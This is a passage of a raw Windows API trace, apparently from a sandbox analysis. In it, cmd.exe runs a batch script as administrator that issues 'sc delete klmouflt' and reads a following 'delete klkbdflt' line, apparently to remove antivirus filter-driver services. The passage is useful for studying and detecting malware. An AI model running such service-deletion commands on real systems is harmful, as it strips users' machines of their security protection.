out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.951] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.951] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.951] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.951] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="lkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="mbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="odflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="uflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="flt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="lt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="t\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.954] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.954] GetFileType (hFile=0xb8) returned 0x3 [0067.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.955] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.955] GetFileType (hFile=0x120) returned 0x3 [0067.955] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klmouflt\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klmouflt\n", lpUsedDefaultChar=0x0) returned 20 [0067.955] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x13, lpOverlapped=0x0) returned 1 [0067.955] GetProcessHeap () returned 0x1b0000 [0067.955] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0067.955] GetProcessHeap () returned 0x1b0000 [0067.955] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0067.955] GetProcessHeap () returned 0x1b0000 [0067.955] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0067.955] GetProcessHeap () returned 0x1b0000 [0067.955] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0067.955] GetProcessHeap () returned 0x1b0000 [0067.955] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6510 [0067.956] GetConsoleOutputCP () returned 0x1b5 [0067.956] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.956] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.956] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.956] GetProcessHeap () returned 0x1b0000 [0067.956] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0067.956] GetProcessHeap () returned 0x1b0000 [0067.956] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6550 [0067.956] GetProcessHeap () returned 0x1b0000 [0067.956] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0067.956] SetErrorMode (uMode=0x0) returned 0x1 [0067.957] SetErrorMode (uMode=0x1) returned 0x0 [0067.957] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0067.957] SetErrorMode (uMode=0x1) returned 0x1 [0067.957] GetProcessHeap () returned 0x1b0000 [0067.957] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0067.957] GetProcessHeap () returned 0x1b0000 [0067.957] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0067.957] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.957] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.957] GetProcessHeap () returned 0x1b0000 [0067.957] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0067.957] GetProcessHeap () returned 0x1b0000 [0067.957] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0067.957] GetProcessHeap () returned 0x1b0000 [0067.957] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0067.957] GetProcessHeap () returned 0x1b0000 [0067.957] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0067.957] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.957] GetProcessHeap () returned 0x1b0000 [0067.957] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0067.957] GetProcessHeap () returned 0x1b0000 [0067.957] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0067.957] GetProcessHeap () returned 0x1b0000 [0067.957] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0067.957] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.957] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.958] GetLastError () returned 0x2 [0067.958] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.958] GetLastError () returned 0x2 [0067.958] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.958] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.958] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.958] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.959] GetLastError () returned 0x2 [0067.959] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.959] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.959] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.959] GetProcessHeap () returned 0x1b0000 [0067.959] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0067.959] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.960] GetProcessHeap () returned 0x1b0000 [0067.960] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x9e) returned 0x1c9180 [0067.960] GetProcessHeap () returned 0x1b0000 [0067.960] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x9e [0067.960] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klmouflt") returned 1 [0067.961] GetProcessHeap () returned 0x1b0000 [0067.961] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0067.961] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0067.961] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0067.961] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.961] GetProcessHeap () returned 0x1b0000 [0067.961] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0067.961] GetProcessHeap () returned 0x1b0000 [0067.961] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0067.961] GetProcessHeap () returned 0x1b0000 [0067.961] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0067.961] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klmouflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klmouflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete klmouflt", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xb8c, dwThreadId=0x618)) returned 1 [0067.966] CloseHandle (hObject=0x50) returned 1 [0067.966] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.966] GetProcessHeap () returned 0x1b0000 [0067.966] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0067.966] GetEnvironmentStringsW () returned 0x1d1b10* [0067.966] GetProcessHeap () returned 0x1b0000 [0067.966] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.966] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.966] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0067.966] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0067.967] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0068.012] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.012] CloseHandle (hObject=0x54) returned 1 [0068.012] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.012] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.012] GetProcessHeap () returned 0x1b0000 [0068.012] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.012] GetEnvironmentStringsW () returned 0x1d1b10* [0068.012] GetProcessHeap () returned 0x1b0000 [0068.012] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.012] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.012] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.012] GetProcessHeap () returned 0x1b0000 [0068.012] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.012] GetEnvironmentStringsW () returned 0x1d1b10* [0068.012] GetProcessHeap () returned 0x1b0000 [0068.012] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.012] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.012] GetProcessHeap () returned 0x1b0000 [0068.012] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.012] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.012] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.013] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.013] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.013] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.013] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.013] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.013] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.013] GetConsoleOutputCP () returned 0x1b5 [0068.013] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.014] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.014] GetProcessHeap () returned 0x1b0000 [0068.014] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.014] GetProcessHeap () returned 0x1b0000 [0068.014] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.014] GetProcessHeap () returned 0x1b0000 [0068.014] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.014] GetProcessHeap () returned 0x1b0000 [0068.014] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0068.014] GetProcessHeap () returned 0x1b0000 [0068.014] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0068.014] GetProcessHeap () returned 0x1b0000 [0068.014] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.014] 